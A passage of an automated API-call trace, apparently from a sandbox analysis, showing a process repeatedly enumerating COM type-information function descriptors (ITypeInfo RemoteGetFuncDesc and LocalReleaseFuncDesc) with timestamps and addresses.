This=0x2764af38878, index=0x17, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x18, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x19, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.558] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x20, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x21, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x22, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x23, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x24, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x25, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x26, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x27, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x28, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x29, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.559] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x30, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x31, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x32, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x33, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x34, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x35, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x36, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x37, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x38, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x39, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x40, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.560] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x41, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x42, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x43, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x44, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x45, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x46, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x47, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x48, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x49, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x50, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x51, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.561] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x52, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x53, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x54, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x55, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x56, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x57, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x58, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x59, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.562] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x60, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.562] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x61, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x62, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x63, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x64, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x65, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x66, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x67, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x68, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x69, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6a, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6b, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6c, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6d, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.563] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6e, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.563] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6f, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x70, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x71, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x72, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x73, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x74, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0116.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x75, ppFuncDesc=0xb5690f5aa8, pDummy=0x6 | out: ppFuncDesc=0xb5690f5aa8, pDummy=0x6) returned 0x0 [0116.564] ITypeInfo:LocalReleaseFuncDesc 